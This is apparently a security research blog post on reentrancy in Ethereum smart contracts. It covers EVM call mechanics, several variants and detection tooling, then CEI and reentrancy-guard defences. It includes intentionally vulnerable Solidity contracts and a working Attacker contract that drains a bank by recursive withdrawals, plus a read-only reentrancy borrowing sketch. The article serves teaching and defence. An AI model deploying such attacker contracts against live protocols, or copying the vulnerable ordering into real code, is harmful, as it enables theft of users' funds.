Back to Blog
Exploitation

Web3 Vulnerability Research: Exploiting Reentrancy in Smart Contracts

OffSec Research Team
10 June 2026 • 09:00 AM13 min
Web3 Vulnerability Research: Exploiting Reentrancy in Smart Contracts
TL;DR — Reentrancy is the vulnerability that drained The DAO of ~$60M in 2016 and still recurs across DeFi today. It exploits a single fatal pattern: a contract that sends value (or makes an external call) before it updates its own state. The external call hands control to attacker code, which re-enters the original function while its records are still stale — withdrawing repeatedly against a balance that was never decremented. This article explains the EVM call mechanics that make it possible, single-function/cross-function/read-only/cross-contract variants, a worked exploit, and the Checks-Effects-Interactions pattern and reentrancy guards that close it for good.

Executive Summary

Smart contracts on Ethereum and EVM-compatible chains are programs that custody real money and execute autonomously. That combination makes their bugs uniquely unforgiving: there is no chargeback, no admin to call, and (often) no patch — an exploited contract simply loses its funds, irreversibly, on a public ledger. Reentrancy is the canonical example, both because it was the first catastrophic DeFi exploit (The DAO, which led to the Ethereum/Ethereum Classic hard fork) and because it keeps reappearing despite being thoroughly understood.

The vulnerability arises from a feature, not a bug, of the EVM: when a contract sends Ether to another address (or calls another contract), control transfers to that recipient's code, which runs to completion before the original function continues. If the recipient is a malicious contract, its receive/fallback function can call back into the original contract — re-entering it. If the original contract had not yet updated its internal accounting (e.g. decremented the caller's balance) before making that external call, the re-entrant call sees the old, un-updated state and can perform the action again. Loop this, and an attacker withdraws far more than they deposited.

The fix is conceptually trivial and absolute — update state before external calls (Checks-Effects-Interactions), and/or use a reentrancy guard — yet the vulnerability persists because developers underestimate how readily an external call cedes control, and because complex multi-contract DeFi interactions hide the dangerous ordering across function and contract boundaries.

EVM Mechanics: Why an External Call Cedes Control

diagram — rendering…
flowchart TD
    A["Contract A calls B.call{value: x}('')<br/>or sends Ether to address B"] --> B["EVM transfers control to B"]
    B --> C["B's receive()/fallback() runs<br/>— ARBITRARY attacker code"]
    C --> D{"B re-enters A<br/>(calls A.withdraw again)?"}
    D -->|Yes, A's state not yet updated| E["A repeats the payout<br/>against STALE balance"]
    D -->|No| F["B returns, A continues"]
    E --> C
    style E fill:#2a0c14,stroke:#ef233c,color:#fee2e2

Two facts about the EVM make reentrancy possible:

  • Sending Ether runs the recipient's code. address.call{value: x}(""), and even .transfer/.send (though gas-limited), invoke the recipient's receive() or fallback() function. A plain "send money" is actually "call a function on the recipient." If the recipient is a contract, that function can do anything — including call back.
  • Calls are synchronous and nested. The called code runs to completion before the calling function resumes. So during A's external call to B, A is paused mid-function with its state exactly as it was at the call site — and B is free to invoke A again. This nesting is the entire vulnerability.

The dangerous ordering is therefore: (1) check the caller's balance → (2) send the Ether [control leaves here] → (3) update the balance. Between steps 2 and 3, the attacker re-enters and step 1 still passes because step 3 hasn't run.

The Vulnerable Contract

solidity
// VULNERABLE — interaction (send) happens BEFORE the effect (state update)contract Bank {    mapping(address => uint256) public balances;     function deposit() external payable {        balances[msg.sender] += msg.value;    }     function withdraw() external {        uint256 amount = balances[msg.sender];      // CHECK        require(amount > 0, "no balance");        (bool ok, ) = msg.sender.call{value: amount}(""); // INTERACTION (sends → runs attacker code)        require(ok, "send failed");        balances[msg.sender] = 0;                    // EFFECT — TOO LATE    }}

The withdraw function sends Ether (call{value:...}) before zeroing the balance. During that send, the recipient's code runs — and if it calls withdraw again, balances[msg.sender] is still the full amount, so the require passes and another payout is sent. The balance is only zeroed after the whole nested storm of re-entrant calls unwinds — by which point the contract is drained.

The Attacker Contract

solidity
contract Attacker {    Bank public bank;    constructor(address _bank) { bank = Bank(_bank); }     // 1) seed a small deposit, then start the loop    function attack() external payable {        bank.deposit{value: msg.value}();        bank.withdraw();                 // triggers the first payout → our receive() runs    }     // 2) re-entered automatically each time the Bank sends us Ether    receive() external payable {        if (address(bank).balance >= msg.value) {            bank.withdraw();             // RE-ENTER while Bank's balance map is stale        }    }}
diagram — rendering…
sequenceDiagram
    participant At as Attacker
    participant Bk as Bank (vulnerable)
    At->>Bk: deposit(1 ETH)
    At->>Bk: withdraw()
    Bk->>Bk: amount = 1 ETH (check passes)
    Bk->>At: call{value:1 ETH}  (control → Attacker.receive)
    At->>Bk: withdraw()  [RE-ENTRY, balance still 1 ETH]
    Bk->>At: call{value:1 ETH}  → receive again ...
    Note over At,Bk: loop until Bank is empty
    Bk->>Bk: balances[Attacker]=0  (finally, way too late)

The attacker deposits 1 ETH but the recursive receive() keeps re-entering withdraw() while the balance is still recorded as 1 ETH, siphoning the entire contract's holdings — everyone else's deposits — one ETH at a time until gas or contract balance runs out. This is The DAO, in miniature.

The Variants

Reentrancy is not just the single-function case above. Modern DeFi exploits exploit subtler orderings:

text
VARIANT              MECHANISMSingle-function      Re-enter the SAME function before its state update (above)Cross-function       Re-enter a DIFFERENT function that shares the stale state                       e.g. withdraw() calls out; attacker re-enters transfer()                       which still sees the un-zeroed balanceCross-contract       State shared across contracts is read before update; attacker                       re-enters via a second contract that trusts the stale valueRead-only reentrancy Attacker re-enters a VIEW function during the window; other                       protocols reading that view get a manipulated price/value                       (no state change in the victim, but downstream contracts                        make decisions on inconsistent intermediate state)

Cross-function reentrancy is dangerous because a developer might protect withdraw() but forget that transferBalance() reads the same balances mapping — the attacker re-enters that during the external call. Read-only reentrancy is the modern, subtle killer: the victim contract may be internally fine, but during its external call its view functions return an inconsistent intermediate state (e.g. a price or share value computed before a balance update), and a different protocol that queries that view in the same transaction makes a catastrophic decision on the bad data. Several large DeFi losses since 2022 stem from read-only reentrancy across composable protocols.

Detection and Testing

text
HUNTING REENTRANCY1. Find every external call that sends value or calls untrusted addresses:   .call{value:} , .transfer , .send , low-level .call , ERC777/ERC721 hooks2. For each, check ordering: is ANY state that the call's safety depends on   updated AFTER the call? → candidate reentrancy3. Check cross-function: does another function read the same state?4. Check cross-contract / read-only: do other contracts read this one's   views mid-transaction?5. Watch for token callbacks: ERC777 tokensReceived, ERC721 onERC721Received,   ERC1155 hooks — these are external calls hidden inside "transfer"

Note that token standards with callbacks (ERC-777, ERC-721, ERC-1155) introduce reentrancy into functions that look like they only move tokens — the standard mandates a hook call to the recipient, which is an external call that cedes control. Many reentrancy bugs hide here.

Tooling: Slither (static analysis, flags reentrancy patterns), Mythril/MythX (symbolic execution), Echidna/Foundry fuzzing (property-based testing — assert invariants like "total payouts ≤ total deposits"), and manual audit, which remains essential for cross-contract and read-only cases that automated tools miss. Foundry's forking lets you replay against mainnet state to test composability hazards.

Defence: Two Robust, Well-Understood Fixes

diagram — rendering…
flowchart TD
    A["Function makes an external call"] --> B["Checks-Effects-Interactions:<br/>1. CHECK requires<br/>2. update EFFECTS (state)<br/>3. then INTERACTIONS (external call)"]
    A --> C["nonReentrant guard:<br/>lock on entry, unlock on exit"]
    B --> D["Re-entry sees UPDATED state → fails"]
    C --> E["Re-entry hits the lock → reverts"]
    style D fill:#0c2a22,stroke:#21d48e,color:#d1fae5
    style E fill:#0c2a22,stroke:#21d48e,color:#d1fae5
  • Checks-Effects-Interactions (CEI) — the primary fix. Structure every function as: perform all checks (require), then apply all effects (state updates), and only then do interactions (external calls/sends). With state already updated before the external call, a re-entrant call sees the new state and fails its own checks.
solidity
   function withdraw() external {       uint256 amount = balances[msg.sender];   // CHECK       require(amount > 0, "no balance");       balances[msg.sender] = 0;                 // EFFECT (before the call!)       (bool ok, ) = msg.sender.call{value: amount}(""); // INTERACTION (last)       require(ok, "send failed");   }   
  • Reentrancy guard (mutex). A nonReentrant modifier sets a lock on entry and clears it on exit, reverting any nested call into a guarded function. OpenZeppelin's ReentrancyGuard is the standard, audited implementation.
solidity
   import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";   contract Bank is ReentrancyGuard {       function withdraw() external nonReentrant { /* ... */ }   }   

Crucially, a guard must protect all functions that share sensitive state, including cross-function paths — and note that a per-function guard does not prevent read-only reentrancy in other protocols reading your views, so CEI (keeping internal state consistent before external calls) remains essential.

Additional hardening:

  • Prefer pull-over-push payments. Let users withdraw their own funds in a separate, guarded transaction rather than pushing Ether during complex logic — minimises external calls in stateful functions.
  • Beware token callbacks. Treat ERC-777/721/1155 transfers as external calls; apply CEI and guards around them.
  • Audit composability. For protocols read by others, ensure your view functions never expose inconsistent intermediate state during external calls (read-only reentrancy). Update internal accounting before any callback.
  • Get audited and fuzz invariants. Professional audits plus property-based fuzzing (Echidna/Foundry) that assert economic invariants catch ordering bugs that slip past code review.

Cross-Contract and Read-Only Reentrancy

Cross-Contract Reentrancy

When two contracts share the same underlying state storage or call each other, a reentrancy guard on Contract A does not protect Contract B from being re-entered if B reads A's (temporarily inconsistent) state. The Curve Finance read-only reentrancy exploit class is the most prominent real-world example.

solidity
// Vulnerable pattern: Contract B reads Contract A's price during A's external callcontract VulnerableOracle {    IVault public vault; // Contract A     // B reads vault's get_virtual_price() — a VIEW function    function getPrice() external view returns (uint256) {        return vault.get_virtual_price(); // A's state is stale during A's own external call    }} contract AttackerContract {    IVault vault;    ILendingProtocol lending;     receive() external payable {        // Called during vault.remove_liquidity() before vault updates balances        // At this point, vault.get_virtual_price() returns INFLATED value        // Borrow against inflated collateral price        lending.borrow(address(this), largeAmount);    }     function attack() external {        vault.remove_liquidity{value: 1 ether}(amount, [0, 0]);        // Reentrancy: receive() fires, price is inflated, borrow succeeds        // After attack: repay principal, keep inflated borrowed amount    }}

The Curve Finance read-only reentrancy class affected Midas Capital ($660K, Jan 2023), dForce ($3.65M, Feb 2023), and others — all reading Curve's get_virtual_price() during Curve's own ETH transfer callback.

ERC-777 Token Reentrancy

ERC-777 tokens add tokensReceived and tokensToSend hooks that fire before state update if implemented carelessly:

solidity
// Vulnerable ERC-777 integration (pre-CEI fix)contract VulnerablePool {    mapping(address => uint256) public deposited;    IERC777 public token;     function withdraw(uint256 amount) external {        require(deposited[msg.sender] >= amount);        // DANGER: transfer fires tokensReceived on recipient        token.send(msg.sender, amount, ""); // <-- reentrancy hook fires HERE        deposited[msg.sender] -= amount;    // state updated AFTER transfer    }} // Fixed with CEI pattern:function withdraw(uint256 amount) external {    require(deposited[msg.sender] >= amount);    deposited[msg.sender] -= amount; // state updated FIRST    token.send(msg.sender, amount, ""); // then external call}

Imbtokens, Uniswap V1, and several early DeFi protocols were vulnerable to this pattern before the community understood ERC-777's implications.

Static Analysis and Fuzzing for Reentrancy Detection

Slither

Slither's reentrancy-eth, reentrancy-no-eth, and reentrancy-benign detectors identify:

  • External calls followed by state modifications
  • State variable writes after transfer, send, or call
  • Cross-function reentrancy through shared state
bash
# Run Slither reentrancy checksslither contracts/VulnerableBank.sol --detect reentrancy-eth,reentrancy-no-eth # Output example:# VulnerableBank.withdraw (contracts/VulnerableBank.sol#15-21) # sends eth to arbitrary user: msg.sender.call{value:amount}("")# State variables written after the call: balances[msg.sender]# Reentrancy in VulnerableBank.withdraw: HIGH confidence

Echidna Invariant Fuzzing

Property-based fuzzing tests economic invariants across thousands of random transaction sequences:

solidity
// Echidna invariant: contract ETH balance >= sum of all depositor balancescontract BankEchidna is VulnerableBank {    address[] public users;     constructor() {        users.push(address(0x10000));        users.push(address(0x20000));        users.push(address(0x30000));    }     // Echidna will call this after every fuzz sequence    function echidna_balance_invariant() public view returns (bool) {        uint256 total;        for (uint i = 0; i < users.length; i++) {            total += balances[users[i]];        }        return address(this).balance >= total;    }}

If Echidna finds a transaction sequence that violates echidna_balance_invariant, it has discovered a reentrancy (or other economic) bug.

Reentrancy Variant Comparison

VariantRe-entry TargetState VisibleGuard Sufficient?Real-World Example
Single-functionSame functionStale balanceYes (single guard)The DAO (2016)
Cross-functionDifferent function, same contractShared state staleOnly if all guardedLendf.me (2020)
Cross-contractExternal contract reads stale viewView returns mid-call stateNo — CEI requiredCurve/Midas (2023)
Read-onlyView function during callbackPrice/rate inconsistentNo — CEI requireddForce (2023)
ERC-777tokensReceived hookToken balance staleYes + CEIUniswap V1 (2019)

MITRE ATT&CK Mapping

TechniqueATT&CK IDDescription
Exploit Public-Facing ApplicationT1190Exploiting smart contract vulnerability via public blockchain interaction
Financial TheftT1657Draining contract funds through reentrancy exploitation
Data ManipulationT1565Manipulating on-chain state to enable repeated unauthorized withdrawals
Supply Chain CompromiseT1195Attacking DeFi protocols via compromised dependency contracts

Conclusion and Takeaways

Reentrancy endures as the archetypal smart-contract vulnerability because it springs from a feature developers routinely forget is dangerous: on the EVM, sending value is calling code, and that code runs — and can call back — before your function finishes. Whenever a contract performs an external call (or any value transfer, including the hidden callbacks in ERC-777/721/1155) before updating the state that call's safety depends on, an attacker's receive/fallback can re-enter and act repeatedly against stale records, draining far more than they deposited. The variants — single-function, cross-function, cross-contract, and the subtle read-only reentrancy that poisons other protocols reading your views mid-transaction — are all the same mistake observed across different boundaries: external calls made before state is consistent.

The defences are mature, simple, and decisive, which is what makes every fresh reentrancy loss faintly tragic. Checks-Effects-Interactions orders every function so state is updated before external calls, ensuring a re-entrant call fails its own checks; a `nonReentrant` mutex locks guarded functions against nesting. Apply both, extend the guard to every function sharing sensitive state, prefer pull-over-push payouts, treat token callbacks as the external calls they are, and design view functions so they never leak inconsistent intermediate state to composable protocols. Combine that discipline with static analysis (Slither), invariant fuzzing (Echidna/Foundry), and a professional audit, and reentrancy — the bug that forked Ethereum — simply cannot fire, because by the time control reaches the attacker, there is nothing left to exploit.